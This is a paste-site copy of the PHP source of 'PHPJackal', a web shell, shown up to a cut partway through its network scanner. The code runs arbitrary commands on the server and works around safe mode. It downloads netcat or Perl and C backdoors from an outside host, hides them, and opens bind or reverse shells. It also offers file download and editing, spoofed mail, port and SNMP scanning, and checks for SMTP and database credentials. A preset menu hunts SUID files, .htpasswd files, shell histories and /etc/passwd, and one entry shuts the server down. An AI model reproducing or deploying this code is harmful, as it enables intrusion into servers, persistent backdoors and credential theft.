PHPJackal Shell

From x, 4 Years ago, written in Plain Text, viewed 1'175 times.
URL http://paste.security-portal.cz/view/34953c10 Embed
Download Paste or View Raw
  1. <?php
  2. #--Config--#
  3. $login_password='';
  4. #----------#
  5. error_reporting(E_ALL);
  6. ignore_user_abort(true);
  7. set_time_limit(0);
  8. ini_set('max_execution_time','0');
  9. ini_set('memory_limit','9999M');
  10. ini_set('output_buffering',0);
  11. set_magic_quotes_runtime(0);
  12. if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS;
  13. if(!isset($_POST))$_POST=&$HTTP_POST_VARS;
  14. if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
  15. if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS;
  16. if(!isset($_FILES))$_FILES=&$HTTP_POST_FILES;
  17. $_REQUEST = array_merge($_GET,$_POST);
  18. if(get_magic_quotes_gpc()){
  19. foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value);
  20. }
  21. function hlinK($str=''){
  22. $myvars=array('modE','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
  23. $ret=$_SERVER['PHP_SELF'].'?';
  24. $new=explode('&',$str);
  25. foreach($_GET as $key => $v){
  26. $add=1;
  27. foreach($new as $m){
  28. $el=explode('=',$m);
  29. if($el[0]==$key)$add=0;
  30. }
  31. if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";}
  32. }
  33. $ret.=$str;
  34. return $ret;
  35. }
  36. $et='</td></tr></table>';
  37. if(!empty($login_password)){
  38. if(!empty($_REQUEST['fpassw'])){
  39. if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
  40. header('Location: '.hlinK());
  41. }
  42. if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></form>$et</body></html>");
  43. }
  44. if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']);
  45. $disablefunctions=ini_get('disable_functions');
  46. $disablefunctions=explode(',',$disablefunctions);
  47. function checkthisporT($ip,$port,$timeout,$type=0){
  48. if(!$type){
  49. $scan=fsockopen($ip,$port,$n,$s,$timeout);
  50. if($scan){fclose($scan);return 1;}
  51. }
  52. elseif(function_exists('socket_set_timeout')){
  53. $scan=fsockopen("udp://$ip",$port);
  54. if($scan){
  55. socket_set_timeout($scan,$timeout);
  56. fwrite($scan,"\x00");
  57. $s=time();
  58. fread($scan,1);
  59. if((time()-$s)>=$timeout){fclose($scan);return 1;}
  60. }
  61. }
  62. return 0;
  63. }
  64. if(!function_exists('file_get_contents')){
  65. function file_get_contents($addr){
  66. $a=fopen($addr,'r');
  67. $tmp=fread($a,filesize($a));
  68. fclose($a);
  69. if($a)return $tmp;else return null;
  70. }
  71. }
  72. if(!function_exists('file_put_contents')){
  73. function file_put_contents($addr,$con){
  74. $a=fopen($addr,'w');
  75. if(!$a)return 0;
  76. $t=fwrite($a,$con);
  77. fclose($a);
  78. if($t)return strlen($con);
  79. return 0;
  80. }
  81. }
  82. function file_add_contentS($addr,$con){
  83. $a=fopen($addr,'a');
  84. if(!$a)return 0;
  85. fwrite($a,$con);
  86. fclose($a);
  87. return strlen($con);
  88. }
  89. if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']);
  90. if(!empty($_REQUEST['downloaD'])){
  91. ob_clean();
  92. $dl=$_REQUEST['downloaD'];
  93. $con=file_get_contents($dl);
  94. header('Content-type: application/octet-stream');
  95. header("Content-disposition: attachment; filename=\"$dl\";");
  96. header('Content-length: '.strlen($con));
  97. echo $con;
  98. exit;
  99. }
  100. if(!empty($_REQUEST['imagE'])){
  101. $img=$_REQUEST['imagE'];
  102. header('Content-type: imagE/gif');
  103. header("Content-length: ".filesize($img));
  104. header("Last-Modified: ".date('r',filemtime($img)));
  105. echo file_get_contents($img);
  106. exit;
  107. }
  108. if(!empty($_REQUEST['exT'])){
  109. $ex=$_REQUEST['exT'];
  110. $e=get_extension_funcs($ex);
  111. echo '<html><head><title>'.htmlspecialchars($ex).'</title></head><body><b>Functions:</b><br>';foreach($e as $k=>$f){$i=$k+1;echo "$i)$f ";if(in_array($f,$disablefunctions))echo '<font color=red>DISABLED</font>';echo '<br>';}
  112. echo '</body></html>';
  113. exit;
  114. }
  115. header('Cache-Control: no-cache, must-revalidate');
  116. header('Expires: Mon, 7 Aug 1987 05:00:00 GMT');
  117. function showsizE($size){
  118. if($size>=1073741824)$size=round(($size/1073741824),2).' GB';
  119. elseif($size>=1048576)$size=round(($size/1048576),2).' MB';
  120. elseif($size>=1024)$size=round(($size/1024),2).' KB';
  121. else $size.=' B';
  122. return $size;
  123. }
  124. $windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0;
  125. $errorbox="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td><b>Error: </b>";
  126. $v='1.9';
  127. $cwd=getcwd();
  128. $msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td align='center'>";
  129. $intro="<center><table border=0 style='border-collapse: collapse'><tr><td bgcolor='#666666'><b>Script:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> PHPJackal<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> NetJackal<br><b>Country:</b> Iran<br><b>Website:</b> <a href='http://netjackal.by.ru/' target='_blank'>http://netjackal.by.ru/</a><br><b>Email:</b> <a href='mailto:nima_501@yahoo.com?subject=PHPJackal'>nima_501@yahoo.com</a><br><noscript>".str_repeat('-=-',25)."<br><b>Error: Enable JavaScript in your browser!!!</b></noscript>$et</center>";
  130. $footer="${msgbox}PHPJackal v$v - Powered By <a href='http://netjackal.by.ru/' target='_blank'>NetJackal</a>$et";
  131. $hcwd="<input type=hidden name=workingdiR value='$cwd'>";
  132. $t="<table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#333333'>";
  133. $crack="</td><td bgcolor='#333333'></td></tr><form method='POST' name=form><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>";
  134. function checkfunctioN($func){
  135. global $disablefunctions,$safemode;
  136. $safe=array('passthru','system','exec','exec','shell_exec','popen','proc_open');
  137. if($safemode=='ON' && in_array($func,$safe))return 0;
  138. elseif(function_exists($func) && is_callable($func) && !in_array($func,$disablefunctions))return 1;
  139. return 0;
  140. }
  141. function whereistmP(){
  142. $uploadtmp=ini_get('upload_tmp_dir');
  143. $uf=getenv('USERPROFILE');
  144. $af=getenv('ALLUSERSPROFILE');
  145. $se=ini_get('session.save_path');
  146. $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
  147. if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
  148. if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
  149. if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
  150. if(is_dir($uf) && is_writable($uf))return $uf;
  151. if(is_dir($af) && is_writable($af))return $af;
  152. if(is_dir($se) && is_writable($se))return $se;
  153. if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
  154. if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
  155. return '.';
  156. }
  157. function shelL($command){
  158. global $windows;
  159. $exec=$output='';
  160. $dep[]=array('pipe','r');$dep[]=array('pipe','w');
  161. if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
  162. elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
  163. elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;}
  164. elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command);
  165. elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
  166. elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
  167. elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command);
  168. elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command);
  169. elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws);
  170. return $exec;
  171. }
  172. function getiT($get){
  173. $fo=strtolower(ini_get('allow_url_fopen'));
  174. $ui=strtolower(ini_get('allow_url_include'));
  175. if($fo || $fo=='on')$con=file_get_contents($get);
  176. elseif($ui || $ui=='on'){
  177. ob_start();
  178. include('http://netjackal.net/');
  179. $con=ob_get_contents();
  180. ob_end_clean();
  181. }
  182. else{
  183. $u=parse_url($get);
  184. $host=$u['host'];$file=(empty($u['path']))?'/':$u['path'];$port=(empty($u['port']))?80:$u['port'];
  185. $url=fsockopen($host,$port,$en,$es,12);
  186. fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  187. $tmp=$con='';
  188. while($tmp!="\r\n")$tmp=fgets($url);
  189. while(!feof($url))$con.=fgets($url);
  190. }
  191. return $con;
  192. }
  193. function downloadiT($get,$put){
  194. $con=getiT($get);
  195. $mk=file_put_contents($put,$con);
  196. if($mk)return 1;
  197. return 0;
  198. }
  199. function winshelL($command){
  200. $name=whereistmP()."\\".uniqid('NJ');
  201. win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
  202. sleep(1);
  203. $exec=file_get_contents($name);
  204. unlink($name);
  205. return $exec;
  206. }
  207. function srvshelL($command){
  208. $name=whereistmP()."\\".uniqid('NJ');
  209. $n=uniqid('NJ');
  210. $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
  211. win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
  212. win32_start_service($n);
  213. win32_stop_service($n);
  214. win32_delete_service($n);
  215. sleep(1);
  216. $exec=file_get_contents($name);
  217. unlink($name);
  218. return $exec;
  219. }
  220. function comshelL($command,$ws){
  221. $exec=$ws->exec ("cmd.exe /c $command");
  222. $so=$exec->StdOut();
  223. return $so->ReadAll();
  224. }
  225. function smtpchecK($addr,$user,$pass,$timeout){
  226. $sock=fsockopen($addr,25,$n,$s,$timeout);
  227. if(!$sock)return -1;
  228. fread($sock,1024);
  229. fputs($sock,'ehlo '.uniqid('NJ')."\r\n");
  230. $res=substr(fgets($sock,512),0,1);
  231. if($res!='2')return 0;
  232. fgets($sock,512);fgets($sock,512);fgets($sock,512);
  233. fputs($sock,"AUTH LOGIN\r\n");
  234. $res=substr(fgets($sock,512),0,3);
  235. if($res!='334')return 0;
  236. fputs($sock,base64_encode($user)."\r\n");
  237. $res=substr(fgets($sock,512),0,3);
  238. if($res!='334')return 0;
  239. fputs($sock,base64_encode($pass)."\r\n");
  240. $res=substr(fgets($sock,512),0,3);
  241. if($res!='235')return 0;
  242. return 1;
  243. }
  244. function mysqlchecK($host,$user,$pass,$timeout){
  245. if(function_exists('mysql_connect')){
  246. $l=mysql_connect($host,$user,$pass);
  247. if($l)return 1;
  248. }
  249. return 0;
  250. }
  251. function mssqlchecK($host,$user,$pass,$timeout){
  252. if(function_exists('mssql_connect')){
  253. $l=mssql_connect($host,$user,$pass);
  254. if($l)return 1;
  255. }
  256. return 0;
  257. }
  258. function checksmtP($host,$timeout){
  259. $from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com';
  260. $sock=fsockopen($host,25,$n,$s,$timeout);
  261. if(!$sock)return -1;
  262. $res=substr(fgets($sock,512),0,3);
  263. if($res!='220')return 0;
  264. fputs($sock,'HELO '.uniqid('NJ')."\r\n");
  265. $res=substr(fgets($sock,512),0,3);
  266. if($res!='250')return 0;
  267. fputs($sock,"MAIL FROM: <$from>\r\n");
  268. $res=substr(fgets($sock,512),0,3);
  269. if($res!='250')return 0;
  270. fputs($sock,"RCPT TO: <contact@persianblog.com>\r\n");
  271. $res=substr(fgets($sock,512),0,3);
  272. if($res!='250')return 0;
  273. fputs($sock,"DATA\r\n");
  274. $res=substr(fgets($sock,512),0,3);
  275. if($res!='354')return 0;
  276. fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n");
  277. $res=substr(fgets($sock,512),0,3);
  278. if($res!='250')return 0;
  279. return 1;
  280. }
  281. function replace_stR($s,$h){
  282. $ret=$h;
  283. foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret);
  284. return $ret;
  285. }
  286. function check_urL($url,$method,$search='200',$timeout=3){
  287. $u=parse_url($url);
  288. $method=strtoupper($method);
  289. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
  290. $data=(!empty($u['query']))?$u['query']:'';
  291. if(!empty($data))$data="?$data";
  292. $sock=fsockopen($host,$port,$en,$es,$timeout);
  293. if($sock){
  294. fputs($sock,"$method $file$data HTTP/1.0\r\n");
  295. fputs($sock,"Host: $host\r\n");
  296. if($method=='GET')fputs($sock,"\r\n");
  297. elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
  298. else return 0;
  299. if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;}
  300. while(!feof($sock)){
  301. $res=fgets($sock);
  302. if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
  303. }
  304. fclose($sock);
  305. }
  306. return 0;
  307. }
  308. function get_sw_namE($host,$timeout){
  309. $sock=fsockopen($host,80,$en,$es,$timeout);
  310. if($sock){
  311. $page=uniqid('NJ');
  312. fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
  313. while(!feof($sock)){
  314. $con=fgets($sock);
  315. if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
  316. }
  317. fclose($sock);
  318. return -1;
  319. }return 0;
  320. }
  321. function snmpchecK($ip,$com,$timeout){
  322. $res=0;
  323. $n=chr(0x00);
  324. $packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n;
  325. $sock=fsockopen("udp://$ip",161);
  326. if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout);
  327. fputs($sock,$packet);
  328. socket_set_timeout($sock,$timeout);
  329. $res=fgets($sock);
  330. fclose($sock);
  331. if($res != '')return 1;else return 0;
  332. }
  333. $safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF';
  334. if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');}
  335. function brshelL(){
  336. global $errorbox,$windows,$et,$hcwd;
  337. $_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0;
  338. $addr='http://netjackal.by.ru/br';
  339. $error="$errorbox Can not make backdoor file, go to writeable folder.$et";
  340. $n=uniqid('NJ_');
  341. if(!$windows)$n=".$n";
  342. $d=whereistmP();
  343. $name=$d.DIRECTORY_SEPARATOR.$n;
  344. $c=($_REQUEST['C'])?1:0;
  345. if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){
  346. $port=(int)$_REQUEST['port'];
  347. if($windows){
  348. if($c){
  349. $name.='.exe';
  350. $bd=downloadiT("$addr/nc",$name);
  351. shelL("attrib +H $name");
  352. if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe");
  353. }else{
  354. $name=$name.'.pl';
  355. $bd=downloadiT("$addr/winbind.p",$name);
  356. shelL("attrib +H $name");
  357. if(!$bd)echo $error;else shelL("perl $name $port");
  358. }
  359. }
  360. else{
  361. if($c){
  362. $bd=downloadiT("$addr/bind.c",$name);
  363. if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &");
  364. }else{
  365. $bd=downloadiT("$addr/bind.p",$name);
  366. if(!$bd)echo $error;else shelL("cd $d;perl $n $port &");
  367. echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>";
  368. }
  369. }
  370. }
  371. elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){
  372. $ip=$_REQUEST['ip'];
  373. $port=(int)$_REQUEST['rport'];
  374. if($windows){
  375. if($c){
  376. $name.='.exe';
  377. $bd=downloadiT("$addr/nc",$name);
  378. shelL("attrib +H $name");
  379. if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe");
  380. }else{
  381. $name=$name.'.pl';
  382. $bd=downloadiT("$addr/winrc.p",$name);
  383. shelL("attrib +H $name");
  384. if (!$bd)echo $error;else shelL("perl.exe $name $ip $port");
  385. }
  386. }
  387. else{
  388. if($c){
  389. $bd=downloadiT("$addr/rc.c",$name);
  390. if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &");
  391. }else{
  392. $bd=downloadiT("$addr/rc.p",$name);
  393. if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &");
  394. }
  395. }
  396. echo '<font color=blue>Done!</font>';}
  397. else{echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='50%' bgcolor='#333333'>Bind shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=port value=55501 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input type=submit class=buttons value=Bind></form>$et</td><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='40%' bgcolor='#333333'>Reverse shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#808080'>IP:</td><td bgcolor='#808080'><input type=text name=ip value=";echo $_SERVER['REMOTE_ADDR'];echo " size=17></td></tr><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=rport value=53 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et$et";}}
  398. function showimagE($img){
  399. echo "<center><img border=0 src='".hlinK("imagE=$img&&workingdiR=".getcwd())."'></center>";}
  400. function editoR($file){
  401. global $errorbox,$et,$hcwd,$cwd;
  402. if(is_file($file)){
  403. if(!is_readable($file)){echo "$errorbox File is not readable$et<br>";}
  404. if(!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";}
  405. $data=file_get_contents($file);
  406. echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'>$hcwd<input type=text value='".htmlspecialchars($file)."' size=75 name=file><input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='64'>";
  407. echo htmlspecialchars($data);
  408. echo "</textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$file' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>";
  409. }
  410. else {echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'><input type=text value='$cwd' size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='63'></textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$cwd' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>";
  411. }
  412. echo "$hcwd<input type=submit class=buttons name=Save value=Save></form>$et</center>";
  413. }
  414. function webshelL(){
  415. global $windows,$hcwd,$et,$cwd;
  416. if($windows){
  417. $alias="<option value='netstat -an'>Display open ports</option><option value='tasklist'>List of processes</option><option value='systeminfo'>System information</option><option value='ipconfig /all'>IP configuration</option><option value='getmac'>Get MAC address</option><option value='net start'>Services list</option><option value='net view'>Machines in domain</option><option value='net user'>Users list</option><option value='shutdown -s -f -t 1'>Turn off the server</option>";
  418. }
  419. else{
  420. $alias="<option value='netstat -an | grep -i listen'>Display open ports</option><option value='last -a -n 250 -i'>Show last 250 logged in users</option><option value='which wget curl lynx w3m'>Downloaders</option><option value='find / -perm -2 -type d -print'>Find world-writable directories</option><option value='find . -perm -2 -type d -print'>Find world-writable directories(in current directory)</option><option value='find / -perm -2 -type f -print'>Find world-writable files</option><option value='find . -perm -2 -type f -print'>Find world-writable files(in current directory)</option><option value='find / -type f -perm 04000 -ls'>Find files with SUID bit set</option><option value='find / -type f -perm 02000 -ls'>Find files with SGID bit set</option><option value='find / -name .htpasswd -type f'>Find .htpasswd files</option><option value='find / -type f -name .bash_history'>Find .bash_history files</option><option value='cat /etc/syslog.conf'>View syslog.conf</option><option value='cat cat /etc/hosts'>View hosts</option><option value='ps auxw'>List of processes</option>";
  421. if(is_dir('/etc/valiases'))$alias.="<option value='ls -l /etc/valiases'>List of cPanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value='ls -l /etc/vdomainaliases'>List cPanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value='cat /var/cpanel/accounting.log'>Display cPanel`s log</option>";
  422. if(is_dir('/var/spool/mail/'))$alias.="<option value='ls /var/spool/mail/'>Mailboxes list</option>";
  423. }
  424. echo "<center><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><form method='POST'><tr><td width='20%'><b>Location:</b><input type=text name=workingdiR size=82 value='$cwd'><input class=buttons type=submit value=Change></form>$et<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><tr><td><b>Web Shell:</b></td></tr><td bgcolor='#666666'><textarea rows='23' cols='79'>";
  425. if(!empty($_REQUEST['cmd']))echo shelL($_REQUEST['cmd']);
  426. echo"</textarea></td></tr><form method=post><tr><td bgcolor='#808080'><input type=text size=91 name=cmd value='";if(!empty($_REQUEST['cmd']))echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows)echo "cat /etc/passwd";echo "'>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor='#808080'><select name='cmd' width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></form>$et</table><center>";
  427. }
  428. function maileR(){
  429. global $msgbox,$et,$hcwd;
  430. if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){
  431. $to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body'];
  432. if(mail($to,$subject,$body,"From: $from"))echo "$msgbox<b>Mail sent!</b><br>$et";
  433. }
  434. echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'><td><b>Mailer:</b></td></tr><td width='20%' bgcolor='#666666'>SMTP</td><td bgcolor='#666666'>".ini_get('SMTP').' ('.ini_get('smtp_port').")</td></tr><tr><td bgcolor='#808080'>From:</td><td bgcolor='#808080'><input name=from type=text value='evil@hell.gov' size=55>$hcwd</td><tr><td width='25%' bgcolor='#666666'>To:</td><td bgcolor='#666666'><input name=to type=text value='";if(!empty($_ENV['SERVER_ADMIN']))echo $_ENV['SERVER_ADMIN'];else echo 'admin@'.getenv('HTTP_HOST'); echo "' size=55></td></tr><tr><td bgcolor='#808080'>Subject:</td><td bgcolor='#808080'><input name=subject type=text value='' size=55></td><tr><td bgcolor='#666666'>Body:</td><td bgcolor='#666666'><textarea rows='18' cols='43' name=body></textarea></td></tr><tr><td width='10%' bgcolor='#808080'></td><td bgcolor='#808080' align='right'><input type=submit class=buttons value=Send></form>$et";
  435. }
  436. function scanneR(){
  437. global $hcwd,$et;
  438. if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1';
  439. $udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
  440. if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
  441. $target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0;
  442. echo '<font color=blue>Port scanning started against '.htmlspecialchars($target).':<br>';
  443. $start=time();
  444. for($i=$from;$i<=$to;$i++){
  445. if($tcp){
  446. if(checkthisporT($target,$i,$timeout)){
  447. $nu++;
  448. $ser='';
  449. if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')';
  450. echo "$nu) $i $ser (<a href='telnet://$target:$i'>Connect</a>) [TCP]<br>";
  451. }
  452. }
  453. if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]<br>";}
  454. }
  455. $time=time()-$start;
  456. echo "Done! ($time seconds)</font>";
  457. }
  458. elseif(!empty($_REQUEST['securityscanner'])){
  459. echo '<font color=blue>';
  460. $start=time();
  461. $from=$_REQUEST['from'];
  462. $to=(int)$_REQUEST['to'];
  463. $timeout=(int)$_REQUEST['timeout'];
  464. $f=substr($from,strrpos($from,'.')+1);
  465. $from=substr($from,0,strrpos($from,'.'));
  466. if(!empty($_REQUEST['httpscanner'])){
  467. echo 'Loading webserver bug list...';
  468. $buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL');
  469. $dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
  470. if($dl){$file=file($buglist);echo 'Done! scanning started.<br><br>';}else echo 'Failed!!! scanning started without webserver security testing...<br><br>';
  471. }else{$fr=htmlspecialchars($from);echo "Scanning $fr.$f-$fr.$to:<br><br>";}
  472. for($i=$f;$i<=$to;$i++){
  473. $output=0;
  474. $ip="$from.$i";
  475. if(!empty($_REQUEST['nslookup'])){
  476. $hn=gethostbyaddr($ip);
  477. if($hn!=$ip)echo "$ip [$hn]<br>"; $output=1;}
  478. if(!empty($_REQUEST['ipscanner'])){
  479. $port=$_REQUEST['port'];
  480. if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port;
  481. $open=$ser='';
  482. foreach($p as $po){
  483. $scan=checkthisporT($ip,$po,$timeout);
  484. if($scan){
  485. $ser='';
  486. if($ser=getservbyport($po,'tcp'))$ser="($ser)";
  487. $open.=" $po$ser ";
  488. }
  489. }
  490. if($open){echo "$ip) Open ports:$open<br>";$output=1;}
  491.  
  492. }
  493. if(!empty($_REQUEST['httpbanner'])){
  494. $res=get_sw_namE($ip,$timeout);
  495. if($res){
  496. echo "$ip) Webserver software: ";
  497. if($res==-1)echo 'Unknow';
  498. else echo $res;
  499. echo '<br>';
  500. $output=1;
  501. }
  502. }
  503. if(!empty($_REQUEST['httpscanner'])){
  504. if(checkthisporT($ip,80,$timeout) && !empty($file)){
  505. $admin=array('/admin/','/adm/');
